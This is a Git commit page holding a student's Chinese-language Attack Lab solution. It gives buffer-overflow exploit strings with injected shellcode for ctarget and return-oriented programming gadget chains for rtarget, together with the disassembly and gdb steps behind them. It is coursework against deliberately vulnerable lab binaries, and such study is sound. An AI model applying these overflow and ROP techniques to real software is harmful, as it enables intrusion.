Bladeren bron

rtarget level 3

homework3
邓博昊 10 maanden geleden
bovenliggende
commit
504d8b1ba6
3 gewijzigde bestanden met toevoegingen van 696 en 0 verwijderingen
  1. +682
    -0
      solution.md
  2. +14
    -0
      target66/phase_5.txt
  3. BIN
      target66/phase_5_raw.txt

+ 682
- 0
solution.md Bestand weergeven

@ -0,0 +1,682 @@
# Attack Lab
10225501432 邓博昊 target66
## ctarget
使用`gdb ctarget`调试程序
使用`disass <function>`获得`<function>`的汇编代码
使用`r -i {phase_i_raw}`带入`exploit string`运行程序
### Level 1
`ctarget`程序被调用时,执行`test`函数,`test`函数调用`getbuf`函数
我们需要将`getbuf`函数在返回时重定向到`touch1`而非继续回到`test`函数
<big>**1)查看`test`、`touch1`函数C代码**</big>
先贴出题干所给函数代码
```c
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
void touch1() {
vlevel = 1;
printf("Touch!: You called touch1()\n");
validate(1);
exit(0);
}
```
<big>**2)查看`getbuf`、`touch1`函数汇编代码**</big>
获取`getbuf`、`touch1`函数汇编代码
```assembly
Dump of assembler code for function getbuf:
0x0000555555401a65 <+0>: sub $0x18,%rsp
0x0000555555401a69 <+4>: mov %rsp,%rdi
0x0000555555401a6c <+7>: call 0x555555401d05 <Gets>
0x0000555555401a71 <+12>: mov $0x1,%eax
0x0000555555401a76 <+17>: add $0x18,%rsp
0x0000555555401a7a <+21>: ret
End of assembler dump.
```
```assembly
Dump of assembler code for function touch1:
0x0000555555401a7b <+0>: sub $0x8,%rsp
0x0000555555401a7f <+4>: movl $0x1,0x203953(%rip) # 0x5555556053dc <vlevel>
0x0000555555401a89 <+14>: lea 0x1967(%rip),%rdi # 0x5555554033f7
0x0000555555401a90 <+21>: call 0x555555400e10 <puts@plt>
0x0000555555401a95 <+26>: mov $0x1,%edi
0x0000555555401a9a <+31>: call 0x555555401f75 <validate>
0x0000555555401a9f <+36>: mov $0x0,%edi
0x0000555555401aa4 <+41>: call 0x555555400f80 <exit@plt>
End of assembler dump.
```
`getbuf`函数开辟了24个字节的栈空间
<big>**3)构建攻击字符串**</big>
我们目前可以知道的:
* 运行环境为`AMD64 Linux`,使用小端法,内存低位储存低位字节数
* 栈的生长方向向内存低位生长
* `getbuf`函数ret地址为%rsp+0x18
* `touch1`函数入口为`0x0000555555401a7b`
我们需要构建一个字符串,其需要满足的条件:
* 改变`getbuf`函数ret时返回地址,使其变为`0x0000555555401a7b`
* 数字需要的字节数为`24+8 = 32`位
* 符合小端法
字符串数据按输入顺序从低地址向高地址存储数据
无意义的字符均用0表示,我们需要构建的字符串即为
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
7b 1a 40 55 55 55 00 00
```
将上述字符串存入`phase_1.txt`
<big>**4)将字符串转化为字节码并运行程序**</big>
输入以下命令即可完成`touch1`
```bash
./hex2raw < phase_1.txt > phase_1_raw.txt
gdb ctarget
r -i phase_1_raw.txt
```
### Level 2
任务要求`ctarget`程序执行`touch2`函数,而非返回`test`函数
<big>**1)查看`touch2`函数C代码**</big>
题干所给`touch2`函数C代码如下
```c
void touch2(unsigned val){
vlevel = 2; /* Part of validation protocol */
if (val == cookie){
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
```
`touch2`函数要求传入一个参数`val`,只有`val`和`cookie`值相同程序才执行成功
<big>**2)查看`touch2`函数汇编代码**</big>
`touch`函数汇编代码如下
```assembly
Dump of assembler code for function touch2:
0x0000555555401aa9 <+0>: sub $0x8,%rsp
0x0000555555401aad <+4>: mov %edi,%edx
0x0000555555401aaf <+6>: movl $0x2,0x203923(%rip) # 0x5555556053dc <vlevel>
0x0000555555401ab9 <+16>: cmp %edi,0x203925(%rip) # 0x5555556053e4 <cookie>
0x0000555555401abf <+22>: je 0x555555401aeb <touch2+66>
0x0000555555401ac1 <+24>: lea 0x1980(%rip),%rsi # 0x555555403448
0x0000555555401ac8 <+31>: mov $0x1,%edi
0x0000555555401acd <+36>: mov $0x0,%eax
0x0000555555401ad2 <+41>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401ad7 <+46>: mov $0x2,%edi
0x0000555555401adc <+51>: call 0x555555402045 <fail>
0x0000555555401ae1 <+56>: mov $0x0,%edi
0x0000555555401ae6 <+61>: call 0x555555400f80 <exit@plt>
0x0000555555401aeb <+66>: lea 0x192e(%rip),%rsi # 0x555555403420
0x0000555555401af2 <+73>: mov $0x1,%edi
0x0000555555401af7 <+78>: mov $0x0,%eax
0x0000555555401afc <+83>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401b01 <+88>: mov $0x2,%edi
0x0000555555401b06 <+93>: call 0x555555401f75 <validate>
0x0000555555401b0b <+98>: jmp 0x555555401ae1 <touch2+56>
End of assembler dump.
```
则`touch2`函数入口地址为`0x0000555555401aa9`
<big>**3)构建汇编代码**</big>
实验给出的建议:
- 使用ret指令调用touch2函数
- touch2的参数要存在rdi寄存器中
- 插入的代码应该设置寄存器存着Cookie,然后再返回touch2
- 不用jmp和call指令
- 使用gcc和objdump生成要插入代码的字节码格式
我的`cookie = 0x3e8dee8f`
则我们需要构建的汇编代码应该为
```assembly
movq $0x3e8dee8f,%rdi
movq $0x0000555555401aa9,%rsi # 存储touch2入口地址
push %rsi
ret
```
将上述代码存储在`phase_2_assembly.s`
<big>**4)获得机械码**</big>
使用如下命令生成并反编译获得机械码
```bash
gcc -c phase_2_assembly.s -o phase_2_assembly.o
objdump -d phase_2_assembly.o > phase_2_assembly.d
```
打开`phase_2_assembly.d`
```assembly
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 8f ee 8d 3e mov $0x3e8dee8f,%rdi
7: 48 be a9 1a 40 55 55 movabs $0x555555401aa9,%rsi
e: 55 00 00
11: 56 push %rsi
12: c3 ret
```
则这段程序机械码为
```
48 c7 c7 8f ee 8d 3e 48 be a9 1a 40 55 55 55 00 00 56 c3
```
<big>**5)构建攻击字符串**</big>
思路为:
* `getbuff`函数获取攻击字符串
* 字符串使得`getbuff`函数返回至`buff`数组起点
* `buff`数组起点按顺序储存机械码
* 程序按照储存的机械码执行我们设计好的汇编指令
因此我们需要查看`buff`数组起点的内存地址,即`%rsp`储存的内容
由Level 1中`getbuf`函数汇编代码可知,`getbuf`函数入口为`0x0000555555401a65`
使用如下命令:
```bash
gdb ctarget
b *0x0000555555401a65
r -qi phase_1_raw.txt
stepi
p &rsp
```
输出:
```bash
$1 = (void *) 0x55621b58
```
故构建如下字符串
```
48 c7 c7 8f ee 8d 3e 48
be a9 1a 40 55 55 55 00
00 56 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00
```
将上述字符串储存在`phase_2.txt`中
<big>**6)将字符串转化为字节码并运行程序**</big>
输入以下命令即可完成`touch2`
```bash
./hex2raw < phase_2.txt > phase_2_raw.txt
gdb ctarget
r -i phase_2_raw.txt
```
### Level 3
任务要求`ctarget`程序执行`touch3`函数,而非返回`test`函数
注意`touch3`函数内部调用了`hexmatch`函数
<big>**1)查看`touch3`、`hexmatch`函数C代码**</big>
```C
int hexmatch(unsigned val, char *sval){
char cbuf[110];
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval){
vlevel = 3;
if (hexmatch(cookie, sval)){
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
```
hexmatch需要传入`cookie`值,并且需要将`cookie`值以字符串形式传入
<big>**2)查看`test`、`touch3`函数汇编代码**</big>
```assembly
Dump of assembler code for function test:
0x0000555555401c32 <+0>: sub $0x8,%rsp
0x0000555555401c36 <+4>: mov $0x0,%eax
0x0000555555401c3b <+9>: call 0x555555401a65 <getbuf>
0x0000555555401c40 <+14>: mov %eax,%edx
0x0000555555401c42 <+16>: lea 0x1877(%rip),%rsi # 0x5555554034c0
0x0000555555401c49 <+23>: mov $0x1,%edi
0x0000555555401c4e <+28>: mov $0x0,%eax
0x0000555555401c53 <+33>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401c58 <+38>: add $0x8,%rsp
0x0000555555401c5c <+42>: ret
End of assembler dump.
```
```assembly
Dump of assembler code for function touch3:
0x0000555555401bc0 <+0>: push %rbx
0x0000555555401bc1 <+1>: mov %rdi,%rbx
0x0000555555401bc4 <+4>: movl $0x3,0x20380e(%rip) # 0x5555556053dc <vlevel>
0x0000555555401bce <+14>: mov %rdi,%rsi
0x0000555555401bd1 <+17>: mov 0x20380d(%rip),%edi # 0x5555556053e4 <cookie>
0x0000555555401bd7 <+23>: call 0x555555401b0d <hexmatch>
0x0000555555401bdc <+28>: test %eax,%eax
0x0000555555401bde <+30>: je 0x555555401c0d <touch3+77>
0x0000555555401be0 <+32>: mov %rbx,%rdx
0x0000555555401be3 <+35>: lea 0x1886(%rip),%rsi # 0x555555403470
0x0000555555401bea <+42>: mov $0x1,%edi
0x0000555555401bef <+47>: mov $0x0,%eax
0x0000555555401bf4 <+52>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401bf9 <+57>: mov $0x3,%edi
0x0000555555401bfe <+62>: call 0x555555401f75 <validate>
0x0000555555401c03 <+67>: mov $0x0,%edi
0x0000555555401c08 <+72>: call 0x555555400f80 <exit@plt>
0x0000555555401c0d <+77>: mov %rbx,%rdx
0x0000555555401c10 <+80>: lea 0x1881(%rip),%rsi # 0x555555403498
0x0000555555401c17 <+87>: mov $0x1,%edi
0x0000555555401c1c <+92>: mov $0x0,%eax
0x0000555555401c21 <+97>: call 0x555555400f30 <__printf_chk@plt>
0x0000555555401c26 <+102>: mov $0x3,%edi
0x0000555555401c2b <+107>: call 0x555555402045 <fail>
0x0000555555401c30 <+112>: jmp 0x555555401c03 <touch3+67>
End of assembler dump.
```
可以看出:
* `test`函数入口为`0x0000555555401c32`
* `touch3`函数入口为`0x0000555555401bc0`
<big>**3)构建汇编代码**</big>
阅读题干所给提示:
* 需要一个字符串表示`cookie`值,不需要表示开头`0x`
* 在C语言中字符串是以`\0`结尾,所以在字符串序列的结尾是一个字节0
* `man ascii` 可以用来查看每个字符的16进制表示
* 需要在`%rdi`寄存器内储存字符串的地址
* 当调用`hexmatch`和`strncmp`时,他们会把数据压入到栈中,有可能会覆盖`getbuf`栈帧的数据,所以传进去字符串的位置必须小心谨慎
因此汇编代码设计思路为:
* 将字符串写入到不容易被覆盖的`test`函数栈空间,将该地址送入`%rdi`寄存器
* 压入含`touch3`入口地址的寄存器
* ret返回
注意`cookie`值需要转化为16进制ASCII码表示后使用
根据题目提示`0x`不需要表示,并且字符串结尾为0字节,则对应ASCII码表示为
```
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
```
我们还需要知道`test函数`栈帧地址
输入以下命令查看
```assembly
gdb ctarget
b *0x0000555555401c32 # test函数入口
r -qi phase_1_raw.txt
stepi
p $rsp
```
结果显示
```bash
$1 = (void *) 0x55621b78
```
因此我们需要构建的汇编代码为
```assembly
movq $0x55621b78,%rdi
movq $0x0000555555401bc0,%rdx
push %rdx
ret
```
将上述内容储存在`phase_3_assembly.s`
<big>**4)获得机械码**</big>
输入以下命令获得机械码
```bash
gcc -c phase_3_assembly.s -o phase_3_assembly.o
objdump -d phase_3_assembly.o > phase_3_assembly.d
```
打开`phase_3_assembly.d`
```assembly
Disassembly of section .text:
0000000000000000 <.text>:
0: 48 c7 c7 78 1b 62 55 mov $0x55621b78,%rdi
7: 48 ba c0 1b 40 55 55 movabs $0x555555401bc0,%rdx
e: 55 00 00
11: 52 push %rdx
12: c3 ret
```
则机械码为
```
48 c7 c7 78 1b 62 55 48 ba c0 1b 40 55 55 55 00 00 52 c3
```
<big>**5)构建攻击字符串**</big>
思路为:
* `getbuff`函数获取攻击字符串
* 字符串足够长,使得`cookie`的16进制值储存在test栈空间
* 字符串使得`getbuff`函数返回至`buff`数组起点
* `buff`数组起点按顺序储存机械码
* 程序按照储存的机械码执行我们设计好的汇编指令
`buff`数组起点的内存地址由Level 2可知为`0x55621b58`
故构建如下字符串
```
48 c7 c7 78 1b 62 55 48
ba c0 1b 40 55 55 55 00
00 52 c3 00 00 00 00 00
58 1b 62 55 00 00 00 00
33 65 38 64 65 65 38 66
00
```
将上述字符串储存在`phase_3.txt`中
<big>**6)将字符串转化为字节码并运行程序**</big>
输入以下命令即可完成`touch3`
```bash
./hex2raw < phase_3.txt > phase_3_raw.txt
gdb ctarget
r -i phase_3_raw.txt
```
## rtarget
题干所给信息翻译如下:
> 这一部分攻击rtarget程序,但是这个程序使用了两种技术防止代码注入攻击:
>
> - 每次栈的位置是随机的,于是我们没有办法确定需要跳转的地址
> - 即使我们能够找到规律注入代码,但是栈是不可执行的,一旦执行,则会遇到段错误
>
> 所以只能利用已有的可执行的代码,来完成我们的操作,称为`retrun-oriented programming(ROP)`,策略就是找到现存代码中的若干条指令,这些指令后面跟着指令ret,每次return相当于从一个gadget跳转到另一个gadget中,然后通过这样不断跳转来完成我们想要的操作。
使用如下命令获得`farm.c`的反汇编
```
gcc -c -Og farm.c
objdump -d farm.o > farm.d
```
### Level 2
这一关要求我们重复上一部分Level 2的攻击,但是无法对rtarget进行代码注入攻击,我们只能使用ROP攻击:利用farm.c中的程序的gadget,构造我们需要的指令,在rtarget中执行
<big>**1)选取gadgets**</big>
阅读题目提示:
* 我们利用的gadget是从startfarm到midfarm之间的
* 只需要两个gadget
* 当使用popq指令时,你的exploit string中必须含有一个地址和data
因此我们需要的汇编指令为
```assembly
popq %rax
movq %rax,%rdi
```
对应的编码为
```
popq %rax > 58
movq %rax,%rdi > 48 89 c7
```
`popq %rax`对应函数为
```assembly
Dump of assembler code for function getval_373:
0x0000555555401c70 <+0>: b8 d3 f5 c2 58 mov $0x58c2f5d3,%eax
0x0000555555401c75 <+5>: c3 ret
End of assembler dump.
```
我们得出`popq %rax`指令的地址为`0x0000555555401c70+0x4 =0x0000555555401c74`
`movq %rax,%rdi`对应函数为
```assembly
Dump of assembler code for function getval_424:
0x0000555555401c84 <+0>: b8 48 89 c7 c3 mov $0xc3c78948,%eax
0x0000555555401c89 <+5>: c3 ret
End of assembler dump.
```
我们得出`movq %rax,%rdi`指令的地址为`0x0000555555401c84+0x1 =0x0000555555401c85`
反汇编得`touch2`函数入口为`0x0000555555401aa9 `
<big>**2)构建攻击字符串**</big>
需要使用的地址
```
0x0000555555401aa9 # touch2函数入口地址
0x0000555555401c85 # 48 89 c7 movq %rax, %rdi
0x3e8dee8f # cookie
0x0000555555401c74 # 58 popq %rax
```
构建的`phase_4.txt`如下
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
74 1c 40 55 55 55 00 00
8f ee 8d 3e 00 00 00 00
85 1c 40 55 55 55 00 00
a9 1a 40 55 55 55 00 00
```
<big>**3)将字符串转化为字节码并运行程序**</big>
输入以下命令即可完成`touch2`
```bash
./hex2raw < phase_4.txt > phase_4_raw.txt
gdb rtarget
r -i phase_4_raw.txt
```
### Level 3
这一关要求我们重复上一部分Level 3的攻击,使用ROP攻击的形式。
<big>**1)选取gadgets**</big>
阅读题目提示:
* 建议查看movl指令对4字节以上操作的影响
* 官方解决方法用了8个gadgets
由`ctarget level 3`可知,`cookie`的ASCII字符串表示为
```
0x3e8dee8f >> 33 65 38 64 65 65 38 66 00
```
因为栈地址随机,因此需要找到基准地址,此处选取%rsp
具体操作:
- 把%rsp里的栈指针地址放到%rdi
- 拿到bias的值放到%rsi
- 利用add xy,把栈指针地址和bias加起来放到%rax,再传到%rdi
- 调用touch3
因此我们需要的汇编指令为
```
movq %rsp,%rax
movq %rax,%rdi
popq %rax
movl %eax,%edx
movl %edx,%ecx
movl %ecx,%esi
lea (%rdi,%rsi,1),%rax
movq %rax,%rdi
```
对应的编码、函数、地址为
```
movq %rsp,%rax > 48 89 e0 > addval_101 > 0x0000555555401cb3
movq %rax,%rdi > 48 89 c7 > setval_417 > 0x0000555555401c8c
popq %rax > 58 > getval_373 > 0x0000555555401c74
movl %eax,%edx > 89 c2 > addval_467 > 0x0000555555401ca5
movl %edx,%ecx > 89 d1 > setval_191 > 0x0000555555401cac
movl %ecx,%esi > 89 ce > setval_118 > 0x0000555555401cc2
lea (%rdi,%rsi,1),%rax > 48 8d 04 37 > add_xy > 0x0000555555401c9e
movq %rax,%rdi > 48 89 c7 > setval_253 > 0x0000555555401c6b
```
<big>**2)构建攻击字符串**</big>
需要使用的地址
```
0x0000555555401cb3 # movq %rsp,%rax
0x0000555555401c8c # movq %rax,%rdi
0x0000555555401c74 # popq %rax
0x48 # bias = 9*8-->0x48
0x0000555555401ca5 # movl %eax,%edx
0x0000555555401cac # movl %edx,%ecx
0x0000555555401cc2 # movl %ecx,%esi
0x0000555555401c9e # lea (%rdi,%rsi,1),%rax
0x0000555555401c6b # movq %rax,%rdi
0x0000555555401bc0 # touch3
0x3365386465653866 # hex cookie string
```
构建的攻击字符串为
```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b3 1c 40 55 55 55 00 00
8c 1c 40 55 55 55 00 00
74 1c 40 55 55 55 00 00
48 00 00 00 00 00 00 00
a5 1c 40 55 55 55 00 00
ac 1c 40 55 55 55 00 00
c2 1c 40 55 55 55 00 00
9e 1c 40 55 55 55 00 00
6b 1c 40 55 55 55 00 00
c0 1b 40 55 55 55 00 00
33 65 38 64 65 65 38 66
```
保存为`phase_5.txt`
<big>**3)将字符串转化为字节码并运行程序**</big>
输入以下命令即可完成`touch23
```bash
./hex2raw < phase_5.txt > phase_5_raw.txt
gdb rtarget
r -i phase_5_raw.txt
```

+ 14
- 0
target66/phase_5.txt Bestand weergeven

@ -0,0 +1,14 @@
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b3 1c 40 55 55 55 00 00
8c 1c 40 55 55 55 00 00
74 1c 40 55 55 55 00 00
48 00 00 00 00 00 00 00
a5 1c 40 55 55 55 00 00
ac 1c 40 55 55 55 00 00
c2 1c 40 55 55 55 00 00
9e 1c 40 55 55 55 00 00
6b 1c 40 55 55 55 00 00
c0 1b 40 55 55 55 00 00
33 65 38 64 65 65 38 66

BIN
target66/phase_5_raw.txt Bestand weergeven


Laden…
Annuleren
Opslaan